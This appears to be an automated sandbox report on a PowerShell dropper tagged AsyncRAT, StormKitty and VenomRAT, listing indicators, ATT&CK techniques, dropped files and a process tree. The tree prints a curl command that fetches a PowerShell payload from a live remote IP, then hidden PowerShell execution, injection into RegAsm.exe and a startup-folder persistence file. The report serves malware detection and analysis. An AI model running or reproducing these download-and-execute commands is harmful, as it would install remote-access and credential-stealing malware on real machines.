asyncrat | e35d7ef701e2a95c6a9f13e379aeb8aac96dd99573e02d87daee3dd120322bce

Analysis

max time kernel
93s
max time network
148s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
31/12/2024, 00:29

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

file01.ps1
Size

49B
MD5

0758afe276a0b0cd5f4f152b256c2bb4
SHA1

bac13aeb38a66e5df9add1b542cc10a2165dcf35
SHA256

e35d7ef701e2a95c6a9f13e379aeb8aac96dd99573e02d87daee3dd120322bce
SHA512

919d93999119f069490b03bcb5153a3f35cd43d1814d1b924ea422c6d6528ff8e78b3643507993f8950c78fe0290cc1c23a0e709fb5854f6ddae2d7802576f8d

Score

10^/10

asyncrat stormkitty venomrat discovery execution rat stealer

Malware Config

Signatures

AsyncRat
AsyncRAT is designed to remotely monitor and control other computers written in C#.
rat asyncrat
Asyncrat family
asyncrat
StormKitty
StormKitty is an open source info stealer written in C#.
stealer stormkitty

StormKitty payload 1 IoCs

resource	yara_rule
behavioral2/memory/3220-49-0x0000000000400000-0x0000000000704000-memory.dmp	family_stormkitty

Stormkitty family
stormkitty

VenomRAT 1 IoCs

Detects VenomRAT.

rat

resource	yara_rule
behavioral2/memory/3220-49-0x0000000000400000-0x0000000000704000-memory.dmp	VenomRAT

Venomrat family
venomrat

Blocklisted process makes network request 3 IoCs

flow	pid	Process
3	3744	powershell.exe
5	3744	powershell.exe
16	1504	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
3744	powershell.exe
1504	powershell.exe

Downloads MZ/PE file

Drops startup file 1 IoCs

description	ioc	Process
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\DeleteApp.url	powershell.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 1504 set thread context of 3220	1504	powershell.exe	89

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RegAsm.exe

Suspicious behavior: EnumeratesProcesses 9 IoCs

pid	Process
3744	powershell.exe
3744	powershell.exe
3744	powershell.exe
3744	powershell.exe
1504	powershell.exe
1504	powershell.exe
3220	RegAsm.exe
3220	RegAsm.exe
3220	RegAsm.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	3744	powershell.exe
Token: SeDebugPrivilege	1504	powershell.exe
Token: SeDebugPrivilege	3220	RegAsm.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
3220	RegAsm.exe

Suspicious use of WriteProcessMemory 20 IoCs

description	pid	Process	procid_target
PID 3744 wrote to memory of 3684	3744	powershell.exe	83
PID 3744 wrote to memory of 3684	3744	powershell.exe	83
PID 3684 wrote to memory of 3848	3684	cmd.exe	84
PID 3684 wrote to memory of 3848	3684	cmd.exe	84
PID 3684 wrote to memory of 1504	3684	cmd.exe	85
PID 3684 wrote to memory of 1504	3684	cmd.exe	85
PID 3848 wrote to memory of 1288	3848	cmd.exe	86
PID 3848 wrote to memory of 1288	3848	cmd.exe	86
PID 1504 wrote to memory of 1364	1504	powershell.exe	87
PID 1504 wrote to memory of 1364	1504	powershell.exe	87
PID 1364 wrote to memory of 2756	1364	csc.exe	88
PID 1364 wrote to memory of 2756	1364	csc.exe	88
PID 1504 wrote to memory of 3220	1504	powershell.exe	89
PID 1504 wrote to memory of 3220	1504	powershell.exe	89
PID 1504 wrote to memory of 3220	1504	powershell.exe	89
PID 1504 wrote to memory of 3220	1504	powershell.exe	89
PID 1504 wrote to memory of 3220	1504	powershell.exe	89
PID 1504 wrote to memory of 3220	1504	powershell.exe	89
PID 1504 wrote to memory of 3220	1504	powershell.exe	89
PID 1504 wrote to memory of 3220	1504	powershell.exe	89

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -ExecutionPolicy bypass -File C:\Users\Admin\AppData\Local\Temp\file01.ps1
1⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Drops startup file
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3744
- C:\Windows\system32\cmd.exe
  "C:\Windows\system32\cmd.exe" /c "C:\Windows\Temp\Modules.bat"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3684
- - C:\Windows\system32\cmd.exe
    cmd.exe /c curl -s -H "X-Special-Header: qInx8F3tuJDHXgOEfPJjbaipYaSE1mobJ2YRyo2rjNgnVDhJvevN8R2ku8oPCBonhmpzFb2GYqPiLhJq" http://147.45.44.131/infopage/vfrcxq.ps1
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3848
  - - C:\Windows\system32\curl.exe
      curl -s -H "X-Special-Header: qInx8F3tuJDHXgOEfPJjbaipYaSE1mobJ2YRyo2rjNgnVDhJvevN8R2ku8oPCBonhmpzFb2GYqPiLhJq" http://147.45.44.131/infopage/vfrcxq.ps1
      4⤵
      PID:1288
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command -"
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious use of SetThreadContext
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:1504
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
      "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\yyz4ujb5\yyz4ujb5.cmdline"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1364
    - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESAD09.tmp" "c:\Users\Admin\AppData\Local\Temp\yyz4ujb5\CSCFEBD9568982F4828B36618B5495D54.TMP"
        5⤵
        
        PID:2756
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of SetWindowsHookEx
      PID:3220

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
3KB

MD5
556084f2c6d459c116a69d6fedcc4105

SHA1
633e89b9a1e77942d822d14de6708430a3944dbc

SHA256
88cc4f40f0eb08ff5c487d6db341b046cc63b22534980aca66a9f8480692f3a8

SHA512
0f6557027b098e45556af93e0be1db9a49c6416dc4afcff2cc2135a8a1ad4f1cf7185541ddbe6c768aefaf2c1a8e52d5282a538d15822d19932f22316edd283e

Download Submit
C:\Users\Admin\AppData\Local\Temp\RESAD09.tmp

Filesize
1KB

MD5
c68b51b9da37013f46d5b2905176f8f9

SHA1
ef061bdf3d857e0c474d5762b76f19521eca9a8a

SHA256
d4f6d50c61017ab671d21392e77ffd767275450de6b38bdf65433a7752522f77

SHA512
2f7ddd517b9c3175417269f769ea2b54ae460443bb8f4e6a6f642ee530df7609bf175fcfebf11ae2cf03b7c7aaba5afbeb2a106949ba412c76201bcf6458fd23

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_c3cndprq.5q5.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\yyz4ujb5\yyz4ujb5.dll

Filesize
9KB

MD5
78baa9b94c402bb7e51882207a16e367

SHA1
94b91fa87d8b3fc82d36688a9433aba6637b4f8b

SHA256
457e55dfc88ff2fdd5356a015bd296389697532c5b1ff218bf4dc14f6308e5e4

SHA512
a4e8837e8f40e2196db001de41c9fb0f7867c2e7ea874835657b63b95277a4ad262bc128d36be02b23ab9e0456e3c590cc059409b5921ae7b39d61961dafa42e

Download Submit
C:\Windows\Temp\Modules.bat

Filesize
3KB

MD5
bb445d197063475c8d78de4f0825753c

SHA1
158a8e3b278affe7c1185aad67683e4253cf53dd

SHA256
7066e4a496d83ee1b677ade06c868a432bb4a0dd364b19ee184147a527b11c10

SHA512
173cd8a56e2fa6e8db33bc13870f8751473251aa80be2235321e62b0f84961e9fd00a236aec63342d73f262dbc7c2a920951a1a8f41707ca6640e673f21c4307

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\yyz4ujb5\CSCFEBD9568982F4828B36618B5495D54.TMP

Filesize
652B

MD5
29e507ecfdcb94fa9180d52f2bea9fda

SHA1
03198ee376ba37a6f61020825003cb3aca846da7

SHA256
c8a95f82ab5cae771cf3af08b02e18290daba2ae6354c78c325c8096c4c344c0

SHA512
26268aec542011605da25beca1e8853d512e831a8ec82b8a2726ee816b0eed757df8f858f6056df31ade1c0bb9571b6c2d8561347bf57c78318ac8c9259da2ea

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\yyz4ujb5\yyz4ujb5.0.cs

Filesize
10KB

MD5
b5c3a2d03ff4c721192716f326c77dea

SHA1
6b754fd988ca58865674b711aba76d3c6b2c5693

SHA256
ab42fe5fd08cb87663e130f99f96124fdd37d825d081b9712b0bad8b6f270fac

SHA512
d32e5a98c12b6b85d1913555ea54f837cd0fc647ca945aef9d75ffade06506be1f4a2348827f11c4eeae0796e4156c8f352e3c0f9a6e2cdc93cb501bcdf2c248

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\yyz4ujb5\yyz4ujb5.cmdline

Filesize
204B

MD5
8d8e2334683f03c70bdd389fa38051e6

SHA1
2e32ed9fab28e4a1b34f8af232e96d737484def9

SHA256
f0af8b0a929d7372ab83b92009e89f829b81ed0e7933ea3250aa527811f9af83

SHA512
7c270947c01a338b0dfa5743d73f72d8ebd0d70ecd3508a7dfe3d605ff22416cb3412a3c0f0420b1126b260f0d67895b0ec79d089d307135203e4ca5c681a29c

Download Submit
memory/1504-47-0x0000020039D60000-0x0000020039D68000-memory.dmp

Filesize
32KB

Download
memory/1504-21-0x00007FF8571F0000-0x00007FF857CB1000-memory.dmp

Filesize
10.8MB

Download
memory/1504-22-0x00007FF8571F0000-0x00007FF857CB1000-memory.dmp

Filesize
10.8MB

Download
memory/1504-32-0x0000020039DB0000-0x0000020039DF4000-memory.dmp

Filesize
272KB

Download
memory/1504-33-0x0000020039E80000-0x0000020039EF6000-memory.dmp

Filesize
472KB

Download
memory/1504-34-0x0000020039A00000-0x0000020039A10000-memory.dmp

Filesize
64KB

Download
memory/1504-20-0x00007FF8571F0000-0x00007FF857CB1000-memory.dmp

Filesize
10.8MB

Download
memory/1504-51-0x00007FF8571F0000-0x00007FF857CB1000-memory.dmp

Filesize
10.8MB

Download
memory/3220-53-0x00000000054F0000-0x0000000005582000-memory.dmp

Filesize
584KB

Download
memory/3220-49-0x0000000000400000-0x0000000000704000-memory.dmp

Filesize
3.0MB

Download
memory/3220-52-0x0000000005690000-0x0000000005C34000-memory.dmp

Filesize
5.6MB

Download
memory/3220-54-0x00000000054B0000-0x00000000054BA000-memory.dmp

Filesize
40KB

Download
memory/3220-57-0x00000000063F0000-0x000000000648C000-memory.dmp

Filesize
624KB

Download
memory/3220-58-0x0000000006490000-0x00000000064F6000-memory.dmp

Filesize
408KB

Download
memory/3220-59-0x0000000006840000-0x0000000006862000-memory.dmp

Filesize
136KB

Download
memory/3220-60-0x0000000006870000-0x0000000006BC4000-memory.dmp

Filesize
3.3MB

Download
memory/3744-11-0x00007FF857520000-0x00007FF857FE1000-memory.dmp

Filesize
10.8MB

Download
memory/3744-10-0x000001C468250000-0x000001C468272000-memory.dmp

Filesize
136KB

Download
memory/3744-12-0x00007FF857520000-0x00007FF857FE1000-memory.dmp

Filesize
10.8MB

Download
memory/3744-17-0x00007FF857520000-0x00007FF857FE1000-memory.dmp

Filesize
10.8MB

Download
memory/3744-0-0x00007FF857523000-0x00007FF857525000-memory.dmp

Filesize
8KB

Download